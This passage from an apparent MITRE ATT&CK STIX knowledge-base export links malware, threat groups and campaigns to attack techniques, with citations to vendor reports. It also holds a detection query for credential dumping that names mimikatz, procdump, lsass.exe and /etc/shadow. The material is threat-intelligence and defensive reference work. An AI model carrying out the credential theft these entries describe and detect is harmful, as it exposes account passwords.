2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddda59d4-5455-4d42-901b-b7a227a8a023","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.919Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects password policy information with the command net accounts.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dddaffe1-4d47-4ffd-93e4-3827dc9abb50","type":"relationship","created":"2019-04-23T15:49:35.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","source_name":"ESET Ebury Feb 2014"}],"modified":"2019-04-26T20:14:18.180Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has installed a self-signed RPM package mimicking the original system package on RPM based systems.(Citation: ESET Ebury Feb 2014)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dddb38c9-408c-44da-9e51-3f7cd159c43d","type":"relationship","created":"2020-02-21T20:32:21.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T21:27:48.376Z","description":"Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dddf6fd0-6d38-4f33-90dc-42ff99c5072b","created":"2024-07-01T14:28:26.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"emotet_trendmicro_mar2023","description":"Kenefick, I. (2023, March 13). Emotet Returns, Now Adopts Binary Padding for Evasion. Retrieved June 19, 2024.","url":"https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T16:18:02.830Z","description":"[Emotet](https://attack.mitre.org/software/S0367) uses a copy of `certutil.exe` stored in a temporary directory for process hollowing, starting the program in a suspended state before loading malicious code.(Citation: emotet_trendmicro_mar2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dde11422-660a-42b1-b231-fb2fd98ed644","type":"relationship","created":"2022-01-25T15:17:53.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:17:53.347Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) has the ability to capture screenshots.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dde881dc-6ad3-4819-b339-8019074818c7","type":"relationship","created":"2021-10-05T01:45:52.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}],"modified":"2021-10-05T01:45:52.817Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses various API to perform behaviors such as executing payloads and performing local enumeration.(Citation: wardle evilquest partii)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dde8ddd4-f56f-4186-828e-dd971b6a3770","created":"2024-08-14T13:49:06.917Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:49:06.917Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used web shells to download files to compromised infrastructure.(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dde93711-fffc-4426-8e23-7de234278302","created":"2022-04-11T00:21:09.138Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to create a new process using `rundll32`.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:21:09.138Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddede021-d8bc-4303-9915-5b2dd0ebd4cd","type":"relationship","created":"2020-07-16T15:24:32.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:51:26.033Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can scan the network for open ports and vulnerable instances of RDP and SMB protocols.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddee8f55-feed-4474-b996-b80bbe5209a4","type":"relationship","created":"2020-12-14T22:10:32.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-14T22:10:32.127Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddf5cb3a-6cfa-40c8-8992-396329632f14","type":"relationship","created":"2019-03-25T15:05:23.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"},{"url":"http://windowsitpro.com/systems-management/psexec","description":"Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.","source_name":"PsExec Russinovich"}],"modified":"2019-06-30T23:07:54.047Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [PsExec](https://attack.mitre.org/software/S0029) to interact with the ADMIN$ network share to execute commands on remote systems.(Citation: Talos Olympic Destroyer 2018)(Citation: PsExec Russinovich)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddff2aa4-975a-4a89-9c1d-b0a4b3a07b63","type":"relationship","created":"2020-09-17T12:51:40.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-17T12:51:40.982Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de045bf6-5f26-485b-ab6d-74552b0cded9","created":"2024-03-05T21:19:17.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T17:58:11.851Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors modified a JavaScript file on the Web SSL VPN component of Ivanti Connect Secure devices to keylog credentials.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de071e4d-eee7-4ad5-96b6-fe83bfe3e25a","type":"relationship","created":"2020-12-30T16:39:34.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."}],"modified":"2020-12-30T16:39:34.375Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has checked for the LogMein event log in an attempt to encrypt files in remote machines.(Citation: Cyble Egregor Oct 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de075e77-f83e-4156-a40f-e7e475e15469","created":"2023-09-21T17:34:10.537Z","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:34:10.537Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has accessed local password managers and databases to obtain further credentials from a compromised network.(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de0b8fd5-c974-41ab-965d-2bbd145e207f","created":"2024-02-06T18:57:52.181Z","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE FLEETWOOD Profile","description":"Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.","url":"https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T18:57:52.181Z","description":"(Citation: Secureworks BRONZE FLEETWOOD Profile)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de0ee6e1-6b97-40be-b036-5339db13e6e4","type":"relationship","created":"2020-07-27T17:47:34.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T17:47:34.029Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can determine if a user is logged in by checking to see if explorer.exe is running.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de15c868-b002-415c-937b-b365e4c60597","created":"2022-10-04T04:34:49.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Application Bundle Manipulation Brandon Dalton","description":"Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.","url":"https://redcanary.com/blog/mac-application-bundles/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:40:34.387Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) has used `mdfind` to enumerate a list of apps known to grant screen sharing permissions.(Citation: Application Bundle Manipulation Brandon Dalton)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.632Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about network IP configurations using [ipconfig](https://attack.mitre.org/software/S0100).exe and about routing tables using [route](https://attack.mitre.org/software/S0103).exe.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de195a33-8461-4d6a-aa6a-cb2893904c66","type":"relationship","created":"2020-02-14T13:09:51.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-14T13:09:51.274Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--de1d9450-317d-42e1-af71-8f531408e5c6","created":"2020-03-19T23:01:00.228Z","x_mitre_version":"1.0","external_references":[{"source_name":"Impacket Tools","url":"https://www.secureauth.com/labs/open-source-tools/impacket","description":"SecureAuth. (n.d.). Retrieved January 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)","modified":"2022-04-19T21:08:09.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de1f13d3-a6a0-4170-947d-81b59d1262ef","type":"relationship","created":"2021-10-14T22:58:54.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-17T17:04:33.263Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses a shell script to execute Mach-o files and osacompile commands such as, osacompile -x -o xcode.app main.applescript.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de1f960b-9f59-4113-8e07-bdb534303ab0","created":"2024-09-06T21:54:27.519Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:54:27.519Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has dumped configuration settings in accessed IP cameras including plaintext credentials.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de200120-25ab-4d9e-a6c3-cbce0d92d25a","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:18:44.631Z","description":"Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n##### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/<pid>/maps, where the <pid> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\n\nAnalytic 1 - Unauthorized access to credential managers.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=10 TargetImage=\"*lsass.exe\" SourceImage IN (\"*mimikatz.exe\", \"*procdump.exe\"))\nOR \n(index=security sourcetype=\"linux_secure\" (key=\"path\" value IN (\"/etc/passwd\", \"/etc/shadow\")) (key=\"cmdline\" value IN (\"*mimikatz*\", \"*procdump*\")))\nOR\n(index=security sourcetype=\"macOS:UnifiedLog\" message IN (\"/var/db/shadow/hash/*\", \"/private/etc/master.passwd\") process IN (\"mimikatz\", \"procdump\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de2d023c-d1cf-4819-9d9c-67a772b0e313","type":"relationship","created":"2020-01-13T15:58:18.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-13T15:58:18.813Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de2ef201-d74b-4963-877b-93d669ea7f3b","created":"2024-09-25T15:33:22.361Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:33:22.361Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used multiple tools for discovery and defense evasion purposes on compromised hosts.(Citation: CISA Play Ransomware Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de300ca1-3935-4b44-9b35-e32eee5304f7","type":"relationship","created":"2021-03-01T21:23:22.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T18:16:41.095Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has XOR-encrypted collected system 